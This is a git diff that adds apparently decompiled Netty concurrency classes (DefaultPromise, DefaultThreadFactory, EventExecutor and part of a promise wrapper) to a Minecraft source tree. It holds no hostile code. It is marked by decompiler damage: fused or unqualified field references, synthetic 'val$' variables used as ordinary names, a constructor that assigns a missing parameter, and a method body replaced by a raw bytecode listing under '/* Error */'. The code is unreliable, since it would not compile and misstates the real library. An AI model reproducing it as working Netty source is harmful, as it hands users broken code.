+    return this;
+  }
+  
+  public ProgressivePromise<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... listeners)
+  {
+    super.removeListeners(listeners);
+    return this;
+  }
+  
+  public ProgressivePromise<V> sync() throws InterruptedException
+  {
+    super.sync();
+    return this;
+  }
+  
+  public ProgressivePromise<V> syncUninterruptibly()
+  {
+    super.syncUninterruptibly();
+    return this;
+  }
+  
+  public ProgressivePromise<V> await() throws InterruptedException
+  {
+    super.await();
+    return this;
+  }
+  
+  public ProgressivePromise<V> awaitUninterruptibly()
+  {
+    super.awaitUninterruptibly();
+    return this;
+  }
+  
+  public ProgressivePromise<V> setSuccess(V result)
+  {
+    super.setSuccess(result);
+    return this;
+  }
+  
+  public ProgressivePromise<V> setFailure(Throwable cause)
+  {
+    super.setFailure(cause);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/DefaultPromise.java b/src/minecraft/io/netty/util/concurrent/DefaultPromise.java
new file mode 100644
index 0000000..4a13e00
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/DefaultPromise.java
@@ -0,0 +1,1094 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.Signal;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayDeque;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultPromise<V>
+  extends AbstractFuture<V>
+  implements Promise<V>
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DefaultPromise.class);
+  private static final InternalLogger rejectedExecutionLogger = InternalLoggerFactory.getInstance(DefaultPromise.class.getName() + ".rejectedExecution");
+  
+  private static final int MAX_LISTENER_STACK_DEPTH = 8;
+  
+  private static final Signal SUCCESS = Signal.valueOf(DefaultPromise.class.getName() + ".SUCCESS");
+  private static final Signal UNCANCELLABLE = Signal.valueOf(DefaultPromise.class.getName() + ".UNCANCELLABLE");
+  private static final CauseHolder CANCELLATION_CAUSE_HOLDER = new CauseHolder(new CancellationException());
+  private final EventExecutor executor;
+  
+  static { CANCELLATION_CAUSE_HOLDERcause.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE); }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DefaultPromise(EventExecutor executor)
+  {
+    if (executor == null) {
+      throw new NullPointerException("executor");
+    }
+    this.executor = executor;
+  }
+  
+  protected DefaultPromise()
+  {
+    executor = null;
+  }
+  
+  protected EventExecutor executor() {
+    return executor;
+  }
+  
+  public boolean isCancelled()
+  {
+    return isCancelled0(result);
+  }
+  
+  private static boolean isCancelled0(Object result) {
+    return ((result instanceof CauseHolder)) && ((cause instanceof CancellationException));
+  }
+  
+  public boolean isCancellable()
+  {
+    return result == null;
+  }
+  
+  public boolean isDone()
+  {
+    return isDone0(result);
+  }
+  
+  private static boolean isDone0(Object result) {
+    return (result != null) && (result != UNCANCELLABLE);
+  }
+  
+  public boolean isSuccess()
+  {
+    Object result = this.result;
+    if ((result == null) || (result == UNCANCELLABLE)) {
+      return false;
+    }
+    return !(result instanceof CauseHolder);
+  }
+  
+  public Throwable cause()
+  {
+    Object result = this.result;
+    if ((result instanceof CauseHolder)) {
+      return cause;
+    }
+    return null;
+  }
+  
+  public Promise<V> addListener(GenericFutureListener<? extends Future<? super V>> listener)
+  {
+    if (listener == null) {
+      throw new NullPointerException("listener");
+    }
+    
+    if (isDone()) {
+      notifyLateListener(listener);
+      return this;
+    }
+    
+    synchronized (this) {
+      if (!isDone()) {
+        if (listeners == null) {
+          listeners = listener;
+        }
+        else if ((listeners instanceof DefaultFutureListeners)) {
+          ((DefaultFutureListeners)listeners).add(listener);
+        } else {
+          GenericFutureListener<? extends Future<V>> firstListener = (GenericFutureListener)listeners;
+          
+          listeners = new DefaultFutureListeners(firstListener, listener);
+        }
+        
+        return this;
+      }
+    }
+    
+    notifyLateListener(listener);
+    return this;
+  }
+  
+  public Promise<V> addListeners(GenericFutureListener<? extends Future<? super V>>... listeners)
+  {
+    if (listeners == null) {
+      throw new NullPointerException("listeners");
+    }
+    
+    for (GenericFutureListener<? extends Future<? super V>> l : listeners) {
+      if (l == null) {
+        break;
+      }
+      addListener(l);
+    }
+    return this;
+  }
+  
+  public Promise<V> removeListener(GenericFutureListener<? extends Future<? super V>> listener)
+  {
+    if (listener == null) {
+      throw new NullPointerException("listener");
+    }
+    
+    if (isDone()) {
+      return this;
+    }
+    
+    synchronized (this) {
+      if (!isDone()) {
+        if ((listeners instanceof DefaultFutureListeners)) {
+          ((DefaultFutureListeners)listeners).remove(listener);
+        } else if (listeners == listener) {
+          listeners = null;
+        }
+      }
+    }
+    
+    return this;
+  }
+  
+  public Promise<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... listeners)
+  {
+    if (listeners == null) {
+      throw new NullPointerException("listeners");
+    }
+    
+    for (GenericFutureListener<? extends Future<? super V>> l : listeners) {
+      if (l == null) {
+        break;
+      }
+      removeListener(l);
+    }
+    return this;
+  }
+  
+  public Promise<V> sync() throws InterruptedException
+  {
+    await();
+    rethrowIfFailed();
+    return this;
+  }
+  
+  public Promise<V> syncUninterruptibly()
+  {
+    awaitUninterruptibly();
+    rethrowIfFailed();
+    return this;
+  }
+  
+  private void rethrowIfFailed() {
+    Throwable cause = cause();
+    if (cause == null) {
+      return;
+    }
+    
+    PlatformDependent.throwException(cause);
+  }
+  
+  public Promise<V> await() throws InterruptedException
+  {
+    if (isDone()) {
+      return this;
+    }
+    
+    if (Thread.interrupted()) {
+      throw new InterruptedException(toString());
+    }
+    
+    synchronized (this) {
+      while (!isDone()) {
+        checkDeadLock();
+        incWaiters();
+        try {
+          wait();
+        } finally {
+          decWaiters();
+        }
+      }
+    }
+    return this;
+  }
+  
+  public boolean await(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    return await0(unit.toNanos(timeout), true);
+  }
+  
+  public boolean await(long timeoutMillis) throws InterruptedException
+  {
+    return await0(TimeUnit.MILLISECONDS.toNanos(timeoutMillis), true);
+  }
+  
+  public Promise<V> awaitUninterruptibly()
+  {
+    if (isDone()) {
+      return this;
+    }
+    
+    boolean interrupted = false;
+    synchronized (this) {
+      while (!isDone()) {
+        checkDeadLock();
+        incWaiters();
+        try {
+          wait();
+        }
+        catch (InterruptedException e) {
+          interrupted = true;
+        } finally {
+          decWaiters();
+        }
+      }
+    }
+    
+    if (interrupted) {
+      Thread.currentThread().interrupt();
+    }
+    
+    return this;
+  }
+  
+  public boolean awaitUninterruptibly(long timeout, TimeUnit unit)
+  {
+    try {
+      return await0(unit.toNanos(timeout), false);
+    }
+    catch (InterruptedException e) {
+      throw new InternalError();
+    }
+  }
+  
+  public boolean awaitUninterruptibly(long timeoutMillis)
+  {
+    try {
+      return await0(TimeUnit.MILLISECONDS.toNanos(timeoutMillis), false);
+    }
+    catch (InterruptedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private volatile Object result;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private Object listeners;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private DefaultPromise<V>.LateListeners lateListeners;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private short waiters;
+  
+
+
+
+
+
+
+
+
+
+
+  protected void checkDeadLock()
+  {
+    EventExecutor e = executor();
+    if ((e != null) && (e.inEventLoop())) {
+      throw new BlockingOperationException(toString());
+    }
+  }
+  
+  public Promise<V> setSuccess(V result)
+  {
+    if (setSuccess0(result)) {
+      notifyListeners();
+      return this;
+    }
+    throw new IllegalStateException("complete already: " + this);
+  }
+  
+  public boolean trySuccess(V result)
+  {
+    if (setSuccess0(result)) {
+      notifyListeners();
+      return true;
+    }
+    return false;
+  }
+  
+  public Promise<V> setFailure(Throwable cause)
+  {
+    if (setFailure0(cause)) {
+      notifyListeners();
+      return this;
+    }
+    throw new IllegalStateException("complete already: " + this, cause);
+  }
+  
+  public boolean tryFailure(Throwable cause)
+  {
+    if (setFailure0(cause)) {
+      notifyListeners();
+      return true;
+    }
+    return false;
+  }
+  
+  public boolean cancel(boolean mayInterruptIfRunning)
+  {
+    Object result = this.result;
+    if ((isDone0(result)) || (result == UNCANCELLABLE)) {
+      return false;
+    }
+    
+    synchronized (this)
+    {
+      result = this.result;
+      if ((isDone0(result)) || (result == UNCANCELLABLE)) {
+        return false;
+      }
+      
+      this.result = CANCELLATION_CAUSE_HOLDER;
+      if (hasWaiters()) {
+        notifyAll();
+      }
+    }
+    
+    notifyListeners();
+    return true;
+  }
+  
+  public boolean setUncancellable()
+  {
+    Object result = this.result;
+    if (isDone0(result)) {
+      return !isCancelled0(result);
+    }
+    
+    synchronized (this)
+    {
+      result = this.result;
+      if (isDone0(result)) {
+        return !isCancelled0(result);
+      }
+      
+      this.result = UNCANCELLABLE;
+    }
+    return true;
+  }
+  
+  private boolean setFailure0(Throwable cause) {
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    
+    if (isDone()) {
+      return false;
+    }
+    
+    synchronized (this)
+    {
+      if (isDone()) {
+        return false;
+      }
+      
+      result = new CauseHolder(cause);
+      if (hasWaiters()) {
+        notifyAll();
+      }
+    }
+    return true;
+  }
+  
+  private boolean setSuccess0(V result) {
+    if (isDone()) {
+      return false;
+    }
+    
+    synchronized (this)
+    {
+      if (isDone()) {
+        return false;
+      }
+      if (result == null) {
+        this.result = SUCCESS;
+      } else {
+        this.result = result;
+      }
+      if (hasWaiters()) {
+        notifyAll();
+      }
+    }
+    return true;
+  }
+  
+
+  public V getNow()
+  {
+    Object result = this.result;
+    if (((result instanceof CauseHolder)) || (result == SUCCESS)) {
+      return null;
+    }
+    return result;
+  }
+  
+  private boolean hasWaiters() {
+    return waiters > 0;
+  }
+  
+  private void incWaiters() {
+    if (waiters == Short.MAX_VALUE) {
+      throw new IllegalStateException("too many waiters: " + this);
+    }
+    waiters = ((short)(waiters + 1));
+  }
+  
+  private void decWaiters() {
+    waiters = ((short)(waiters - 1));
+  }
+  
+
+
+
+
+
+  private void notifyListeners()
+  {
+    Object listeners = this.listeners;
+    if (listeners == null) {
+      return;
+    }
+    
+    EventExecutor executor = executor();
+    if (executor.inEventLoop()) {
+      InternalThreadLocalMap threadLocals = InternalThreadLocalMap.get();
+      int stackDepth = threadLocals.futureListenerStackDepth();
+      if (stackDepth < 8) {
+        threadLocals.setFutureListenerStackDepth(stackDepth + 1);
+        try {
+          if ((listeners instanceof DefaultFutureListeners)) {
+            notifyListeners0(this, (DefaultFutureListeners)listeners);
+          } else {
+            GenericFutureListener<? extends Future<V>> l = (GenericFutureListener)listeners;
+            
+            notifyListener0(this, l);
+          }
+        } finally {
+          this.listeners = null;
+          threadLocals.setFutureListenerStackDepth(stackDepth);
+        }
+        return;
+      }
+    }
+    
+    if ((listeners instanceof DefaultFutureListeners)) {
+      final DefaultFutureListeners dfl = (DefaultFutureListeners)listeners;
+      execute(executor, new Runnable()
+      {
+        public void run() {
+          DefaultPromise.notifyListeners0(DefaultPromise.this, dfl);
+          listeners = null;
+        }
+      });
+    } else {
+      final GenericFutureListener<? extends Future<V>> l = (GenericFutureListener)listeners;
+      
+      execute(executor, new Runnable()
+      {
+        public void run() {
+          DefaultPromise.notifyListener0(DefaultPromise.this, l);
+          listeners = null;
+        }
+      });
+    }
+  }
+  
+  private static void notifyListeners0(Future<?> future, DefaultFutureListeners listeners) {
+    GenericFutureListener<?>[] a = listeners.listeners();
+    int size = listeners.size();
+    for (int i = 0; i < size; i++) {
+      notifyListener0(future, a[i]);
+    }
+  }
+  
+
+
+
+
+  private void notifyLateListener(GenericFutureListener<?> l)
+  {
+    EventExecutor executor = executor();
+    if (executor.inEventLoop()) {
+      if ((listeners == null) && (this.lateListeners == null)) {
+        InternalThreadLocalMap threadLocals = InternalThreadLocalMap.get();
+        int stackDepth = threadLocals.futureListenerStackDepth();
+        if (stackDepth < 8) {
+          threadLocals.setFutureListenerStackDepth(stackDepth + 1);
+          try {
+            notifyListener0(this, l);
+          } finally {
+            threadLocals.setFutureListenerStackDepth(stackDepth);
+          }
+          return;
+        }
+      } else {
+        DefaultPromise<V>.LateListeners lateListeners = this.lateListeners;
+        if (lateListeners == null) {
+          this.lateListeners = (lateListeners = new LateListeners());
+        }
+        lateListeners.add(l);
+        execute(executor, lateListeners);
+        return;
+      }
+    }
+    
+
+
+
+    execute(executor, new LateListenerNotifier(l));
+  }
+  
+
+  protected static void notifyListener(EventExecutor eventExecutor, Future<?> future, final GenericFutureListener<?> l)
+  {
+    if (eventExecutor.inEventLoop()) {
+      InternalThreadLocalMap threadLocals = InternalThreadLocalMap.get();
+      int stackDepth = threadLocals.futureListenerStackDepth();
+      if (stackDepth < 8) {
+        threadLocals.setFutureListenerStackDepth(stackDepth + 1);
+        try {
+          notifyListener0(future, l);
+        } finally {
+          threadLocals.setFutureListenerStackDepth(stackDepth);
+        }
+        return;
+      }
+    }
+    
+    execute(eventExecutor, new Runnable()
+    {
+      public void run() {
+        DefaultPromise.notifyListener0(val$future, l);
+      }
+    });
+  }
+  
+  private static void execute(EventExecutor executor, Runnable task) {
+    try {
+      executor.execute(task);
+    } catch (Throwable t) {
+      rejectedExecutionLogger.error("Failed to submit a listener notification task. Event loop shut down?", t);
+    }
+  }
+  
+  static void notifyListener0(Future future, GenericFutureListener l)
+  {
+    try {
+      l.operationComplete(future);
+    } catch (Throwable t) {
+      if (logger.isWarnEnabled()) {
+        logger.warn("An exception was thrown by " + l.getClass().getName() + ".operationComplete()", t);
+      }
+    }
+  }
+  
+
+
+
+  private synchronized Object progressiveListeners()
+  {
+    Object listeners = this.listeners;
+    if (listeners == null)
+    {
+      return null;
+    }
+    
+    if ((listeners instanceof DefaultFutureListeners))
+    {
+      DefaultFutureListeners dfl = (DefaultFutureListeners)listeners;
+      int progressiveSize = dfl.progressiveSize();
+      switch (progressiveSize) {
+      case 0: 
+        return null;
+      case 1: 
+        for (GenericFutureListener<?> l : dfl.listeners()) {
+          if ((l instanceof GenericProgressiveFutureListener)) {
+            return l;
+          }
+        }
+        return null;
+      }
+      
+      GenericFutureListener<?>[] array = dfl.listeners();
+      GenericProgressiveFutureListener<?>[] copy = new GenericProgressiveFutureListener[progressiveSize];
+      int i = 0; for (int j = 0; j < progressiveSize; i++) {
+        GenericFutureListener<?> l = array[i];
+        if ((l instanceof GenericProgressiveFutureListener)) {
+          copy[(j++)] = ((GenericProgressiveFutureListener)l);
+        }
+      }
+      
+      return copy; }
+    if ((listeners instanceof GenericProgressiveFutureListener)) {
+      return listeners;
+    }
+    
+    return null;
+  }
+  
+
+  void notifyProgressiveListeners(final long progress, long total)
+  {
+    Object listeners = progressiveListeners();
+    if (listeners == null) {
+      return;
+    }
+    
+    final ProgressiveFuture<V> self = (ProgressiveFuture)this;
+    
+    EventExecutor executor = executor();
+    if (executor.inEventLoop()) {
+      if ((listeners instanceof GenericProgressiveFutureListener[])) {
+        notifyProgressiveListeners0(self, (GenericProgressiveFutureListener[])listeners, progress, total);
+      }
+      else {
+        notifyProgressiveListener0(self, (GenericProgressiveFutureListener)listeners, progress, total);
+      }
+      
+    }
+    else if ((listeners instanceof GenericProgressiveFutureListener[])) {
+      final GenericProgressiveFutureListener<?>[] array = (GenericProgressiveFutureListener[])listeners;
+      
+      execute(executor, new Runnable()
+      {
+        public void run() {
+          DefaultPromise.notifyProgressiveListeners0(self, array, progress, val$total);
+        }
+      });
+    } else {
+      final GenericProgressiveFutureListener<ProgressiveFuture<V>> l = (GenericProgressiveFutureListener)listeners;
+      
+      execute(executor, new Runnable()
+      {
+        public void run() {
+          DefaultPromise.notifyProgressiveListener0(self, l, progress, val$total);
+        }
+      });
+    }
+  }
+  
+
+  private static void notifyProgressiveListeners0(ProgressiveFuture<?> future, GenericProgressiveFutureListener<?>[] listeners, long progress, long total)
+  {
+    for (GenericProgressiveFutureListener<?> l : listeners) {
+      if (l == null) {
+        break;
+      }
+      notifyProgressiveListener0(future, l, progress, total);
+    }
+  }
+  
+  private static void notifyProgressiveListener0(ProgressiveFuture future, GenericProgressiveFutureListener l, long progress, long total)
+  {
+    try
+    {
+      l.operationProgressed(future, progress, total);
+    } catch (Throwable t) {
+      if (logger.isWarnEnabled())
+        logger.warn("An exception was thrown by " + l.getClass().getName() + ".operationProgressed()", t);
+    }
+  }
+  
+  private static final class CauseHolder {
+    final Throwable cause;
+    
+    CauseHolder(Throwable cause) {
+      this.cause = cause;
+    }
+  }
+  
+  public String toString()
+  {
+    return toStringBuilder().toString();
+  }
+  
+  protected StringBuilder toStringBuilder() {
+    StringBuilder buf = new StringBuilder(64);
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append('@');
+    buf.append(Integer.toHexString(hashCode()));
+    
+    Object result = this.result;
+    if (result == SUCCESS) {
+      buf.append("(success)");
+    } else if (result == UNCANCELLABLE) {
+      buf.append("(uncancellable)");
+    } else if ((result instanceof CauseHolder)) {
+      buf.append("(failure(");
+      buf.append(cause);
+      buf.append(')');
+    } else {
+      buf.append("(incomplete)");
+    }
+    return buf;
+  }
+  
+  /* Error */
+  private boolean await0(long timeoutNanos, boolean interruptable)
+    throws InterruptedException
+  {
+    // Byte code:
+    //   0: aload_0
+    //   1: invokevirtual 20	io/netty/util/concurrent/DefaultPromise:isDone	()Z
+    //   4: ifeq +5 -> 9
+    //   7: iconst_1
+    //   8: ireturn
+    //   9: lload_1
+    //   10: lconst_0
+    //   11: lcmp
+    //   12: ifgt +8 -> 20
+    //   15: aload_0
+    //   16: invokevirtual 20	io/netty/util/concurrent/DefaultPromise:isDone	()Z
+    //   19: ireturn
+    //   20: iload_3
+    //   21: ifeq +21 -> 42
+    //   24: invokestatic 35	java/lang/Thread:interrupted	()Z
+    //   27: ifeq +15 -> 42
+    //   30: new 36	java/lang/InterruptedException
+    //   33: dup
+    //   34: aload_0
+    //   35: invokevirtual 37	io/netty/util/concurrent/DefaultPromise:toString	()Ljava/lang/String;
+    //   38: invokespecial 38	java/lang/InterruptedException:<init>	(Ljava/lang/String;)V
+    //   41: athrow
+    //   42: invokestatic 50	java/lang/System:nanoTime	()J
+    //   45: lstore 4
+    //   47: lload_1
+    //   48: lstore 6
+    //   50: iconst_0
+    //   51: istore 8
+    //   53: aload_0
+    //   54: dup
+    //   55: astore 9
+    //   57: monitorenter
+    //   58: aload_0
+    //   59: invokevirtual 20	io/netty/util/concurrent/DefaultPromise:isDone	()Z
+    //   62: ifeq +23 -> 85
+    //   65: iconst_1
+    //   66: istore 10
+    //   68: aload 9
+    //   70: monitorexit
+    //   71: iload 8
+    //   73: ifeq +9 -> 82
+    //   76: invokestatic 46	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   79: invokevirtual 47	java/lang/Thread:interrupt	()V
+    //   82: iload 10
+    //   84: ireturn
+    //   85: lload 6
+    //   87: lconst_0
+    //   88: lcmp
+    //   89: ifgt +26 -> 115
+    //   92: aload_0
+    //   93: invokevirtual 20	io/netty/util/concurrent/DefaultPromise:isDone	()Z
+    //   96: istore 10
+    //   98: aload 9
+    //   100: monitorexit
+    //   101: iload 8
+    //   103: ifeq +9 -> 112
+    //   106: invokestatic 46	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   109: invokevirtual 47	java/lang/Thread:interrupt	()V
+    //   112: iload 10
+    //   114: ireturn
+    //   115: aload_0
+    //   116: invokevirtual 39	io/netty/util/concurrent/DefaultPromise:checkDeadLock	()V
+    //   119: aload_0
+    //   120: invokespecial 40	io/netty/util/concurrent/DefaultPromise:incWaiters	()V
+    //   123: aload_0
+    //   124: lload 6
+    //   126: ldc2_w 51
+    //   129: ldiv
+    //   130: lload 6
+    //   132: ldc2_w 51
+    //   135: lrem
+    //   136: l2i
+    //   137: invokevirtual 53	java/lang/Object:wait	(JI)V
+    //   140: goto +15 -> 155
+    //   143: astore 10
+    //   145: iload_3
+    //   146: ifeq +6 -> 152
+    //   149: aload 10
+    //   151: athrow
+    //   152: iconst_1
+    //   153: istore 8
+    //   155: aload_0
+    //   156: invokevirtual 20	io/netty/util/concurrent/DefaultPromise:isDone	()Z
+    //   159: ifeq +27 -> 186
+    //   162: iconst_1
+    //   163: istore 10
+    //   165: aload_0
+    //   166: invokespecial 42	io/netty/util/concurrent/DefaultPromise:decWaiters	()V
+    //   169: aload 9
+    //   171: monitorexit
+    //   172: iload 8
+    //   174: ifeq +9 -> 183
+    //   177: invokestatic 46	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   180: invokevirtual 47	java/lang/Thread:interrupt	()V
+    //   183: iload 10
+    //   185: ireturn
+    //   186: lload_1
+    //   187: invokestatic 50	java/lang/System:nanoTime	()J
+    //   190: lload 4
+    //   192: lsub
+    //   193: lsub
+    //   194: lstore 6
+    //   196: lload 6
+    //   198: lconst_0
+    //   199: lcmp
+    //   200: ifgt -77 -> 123
+    //   203: aload_0
+    //   204: invokevirtual 20	io/netty/util/concurrent/DefaultPromise:isDone	()Z
+    //   207: istore 10
+    //   209: aload_0
+    //   210: invokespecial 42	io/netty/util/concurrent/DefaultPromise:decWaiters	()V
+    //   213: aload 9
+    //   215: monitorexit
+    //   216: iload 8
+    //   218: ifeq +9 -> 227
+    //   221: invokestatic 46	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   224: invokevirtual 47	java/lang/Thread:interrupt	()V
+    //   227: iload 10
+    //   229: ireturn
+    //   230: astore 11
+    //   232: aload_0
+    //   233: invokespecial 42	io/netty/util/concurrent/DefaultPromise:decWaiters	()V
+    //   236: aload 11
+    //   238: athrow
+    //   239: astore 12
+    //   241: aload 9
+    //   243: monitorexit
+    //   244: aload 12
+    //   246: athrow
+    //   247: astore 13
+    //   249: iload 8
+    //   251: ifeq +9 -> 260
+    //   254: invokestatic 46	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   257: invokevirtual 47	java/lang/Thread:interrupt	()V
+    //   260: aload 13
+    //   262: athrow
+    // Line number table:
+    //   Java source line #324	-> byte code offset #0
+    //   Java source line #325	-> byte code offset #7
+    //   Java source line #328	-> byte code offset #9
+    //   Java source line #329	-> byte code offset #15
+    //   Java source line #332	-> byte code offset #20
+    //   Java source line #333	-> byte code offset #30
+    //   Java source line #336	-> byte code offset #42
+    //   Java source line #337	-> byte code offset #47
+    //   Java source line #338	-> byte code offset #50
+    //   Java source line #341	-> byte code offset #53
+    //   Java source line #342	-> byte code offset #58
+    //   Java source line #343	-> byte code offset #65
+    //   Java source line #378	-> byte code offset #71
+    //   Java source line #379	-> byte code offset #76
+    //   Java source line #346	-> byte code offset #85
+    //   Java source line #347	-> byte code offset #92
+    //   Java source line #378	-> byte code offset #101
+    //   Java source line #379	-> byte code offset #106
+    //   Java source line #350	-> byte code offset #115
+    //   Java source line #351	-> byte code offset #119
+    //   Java source line #355	-> byte code offset #123
+    //   Java source line #362	-> byte code offset #140
+    //   Java source line #356	-> byte code offset #143
+    //   Java source line #357	-> byte code offset #145
+    //   Java source line #358	-> byte code offset #149
+    //   Java source line #360	-> byte code offset #152
+    //   Java source line #364	-> byte code offset #155
+    //   Java source line #365	-> byte code offset #162
+    //   Java source line #374	-> byte code offset #165
+    //   Java source line #378	-> byte code offset #172
+    //   Java source line #379	-> byte code offset #177
+    //   Java source line #367	-> byte code offset #186
+    //   Java source line #368	-> byte code offset #196
+    //   Java source line #369	-> byte code offset #203
+    //   Java source line #374	-> byte code offset #209
+    //   Java source line #378	-> byte code offset #216
+    //   Java source line #379	-> byte code offset #221
+    //   Java source line #374	-> byte code offset #230
+    //   Java source line #376	-> byte code offset #239
+    //   Java source line #378	-> byte code offset #247
+    //   Java source line #379	-> byte code offset #254
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	263	0	this	DefaultPromise<V>
+    //   0	263	1	timeoutNanos	long
+    //   0	263	3	interruptable	boolean
+    //   45	146	4	startTime	long
+    //   48	149	6	waitTime	long
+    //   51	199	8	interrupted	boolean
+    //   66	47	10	bool1	boolean
+    //   143	85	10	e	InterruptedException
+    //   163	65	10	bool2	boolean
+    //   230	7	11	localObject1	Object
+    //   239	6	12	localObject2	Object
+    //   247	14	13	localObject3	Object
+    // Exception table:
+    //   from	to	target	type
+    //   123	140	143	java/lang/InterruptedException
+    //   123	165	230	finally
+    //   186	209	230	finally
+    //   230	232	230	finally
+    //   58	71	239	finally
+    //   85	101	239	finally
+    //   115	172	239	finally
+    //   186	216	239	finally
+    //   230	244	239	finally
+    //   53	71	247	finally
+    //   85	101	247	finally
+    //   115	172	247	finally
+    //   186	216	247	finally
+    //   230	249	247	finally
+  }
+  
+  private final class LateListeners
+    extends ArrayDeque<GenericFutureListener<?>>
+    implements Runnable
+  {
+    private static final long serialVersionUID = -687137418080392244L;
+    
+    LateListeners()
+    {
+      super();
+    }
+    
+    public void run()
+    {
+      if (listeners == null) {
+        for (;;) {
+          GenericFutureListener<?> l = (GenericFutureListener)poll();
+          if (l == null) {
+            break;
+          }
+          DefaultPromise.notifyListener0(DefaultPromise.this, l);
+        }
+      }
+      
+
+      DefaultPromise.execute(executor(), this);
+    }
+  }
+  
+  private final class LateListenerNotifier implements Runnable
+  {
+    private GenericFutureListener<?> l;
+    
+    LateListenerNotifier() {
+      this.l = l;
+    }
+    
+    public void run()
+    {
+      DefaultPromise<V>.LateListeners lateListeners = DefaultPromise.this.lateListeners;
+      if (l != null) {
+        if (lateListeners == null) {
+          DefaultPromise.this.lateListeners = (lateListeners = new DefaultPromise.LateListeners(DefaultPromise.this));
+        }
+        lateListeners.add(l);
+        l = null;
+      }
+      
+      lateListeners.run();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/DefaultThreadFactory.java b/src/minecraft/io/netty/util/concurrent/DefaultThreadFactory.java
new file mode 100644
index 0000000..1ae5cd9
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/DefaultThreadFactory.java
@@ -0,0 +1,143 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.StringUtil;
+import java.util.Locale;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultThreadFactory
+  implements ThreadFactory
+{
+  private static final AtomicInteger poolId = new AtomicInteger();
+  
+  private final AtomicInteger nextId = new AtomicInteger();
+  private final String prefix;
+  private final boolean daemon;
+  private final int priority;
+  
+  public DefaultThreadFactory(Class<?> poolType) {
+    this(poolType, false, 5);
+  }
+  
+  public DefaultThreadFactory(String poolName) {
+    this(poolName, false, 5);
+  }
+  
+  public DefaultThreadFactory(Class<?> poolType, boolean daemon) {
+    this(poolType, daemon, 5);
+  }
+  
+  public DefaultThreadFactory(String poolName, boolean daemon) {
+    this(poolName, daemon, 5);
+  }
+  
+  public DefaultThreadFactory(Class<?> poolType, int priority) {
+    this(poolType, false, priority);
+  }
+  
+  public DefaultThreadFactory(String poolName, int priority) {
+    this(poolName, false, priority);
+  }
+  
+  public DefaultThreadFactory(Class<?> poolType, boolean daemon, int priority) {
+    this(toPoolName(poolType), daemon, priority);
+  }
+  
+  private static String toPoolName(Class<?> poolType) {
+    if (poolType == null) {
+      throw new NullPointerException("poolType");
+    }
+    
+    String poolName = StringUtil.simpleClassName(poolType);
+    switch (poolName.length()) {
+    case 0: 
+      return "unknown";
+    case 1: 
+      return poolName.toLowerCase(Locale.US);
+    }
+    if ((Character.isUpperCase(poolName.charAt(0))) && (Character.isLowerCase(poolName.charAt(1)))) {
+      return Character.toLowerCase(poolName.charAt(0)) + poolName.substring(1);
+    }
+    return poolName;
+  }
+  
+
+  public DefaultThreadFactory(String poolName, boolean daemon, int priority)
+  {
+    if (poolName == null) {
+      throw new NullPointerException("poolName");
+    }
+    if ((priority < 1) || (priority > 10)) {
+      throw new IllegalArgumentException("priority: " + priority + " (expected: Thread.MIN_PRIORITY <= priority <= Thread.MAX_PRIORITY)");
+    }
+    
+
+    prefix = (poolName + '-' + poolId.incrementAndGet() + '-');
+    this.daemon = daemon;
+    this.priority = priority;
+  }
+  
+  public Thread newThread(Runnable r)
+  {
+    Thread t = newThread(new DefaultRunnableDecorator(r), prefix + nextId.incrementAndGet());
+    try {
+      if (t.isDaemon()) {
+        if (!daemon) {
+          t.setDaemon(false);
+        }
+      }
+      else if (daemon) {
+        t.setDaemon(true);
+      }
+      
+
+      if (t.getPriority() != priority) {
+        t.setPriority(priority);
+      }
+    }
+    catch (Exception ignored) {}
+    
+    return t;
+  }
+  
+  protected Thread newThread(Runnable r, String name) {
+    return new FastThreadLocalThread(r, name);
+  }
+  
+  private static final class DefaultRunnableDecorator implements Runnable
+  {
+    private final Runnable r;
+    
+    DefaultRunnableDecorator(Runnable r) {
+      this.r = r;
+    }
+    
+    public void run()
+    {
+      try {
+        r.run();
+      } finally {
+        FastThreadLocal.removeAll();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/EventExecutor.java b/src/minecraft/io/netty/util/concurrent/EventExecutor.java
new file mode 100644
index 0000000..8b35c1d
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/EventExecutor.java
@@ -0,0 +1,21 @@
+package io.netty.util.concurrent;
+
+public abstract interface EventExecutor
+  extends EventExecutorGroup
+{
+  public abstract EventExecutor next();
+  
+  public abstract EventExecutorGroup parent();
+  
+  public abstract boolean inEventLoop();
+  
+  public abstract boolean inEventLoop(Thread paramThread);
+  
+  public abstract <V> Promise<V> newPromise();
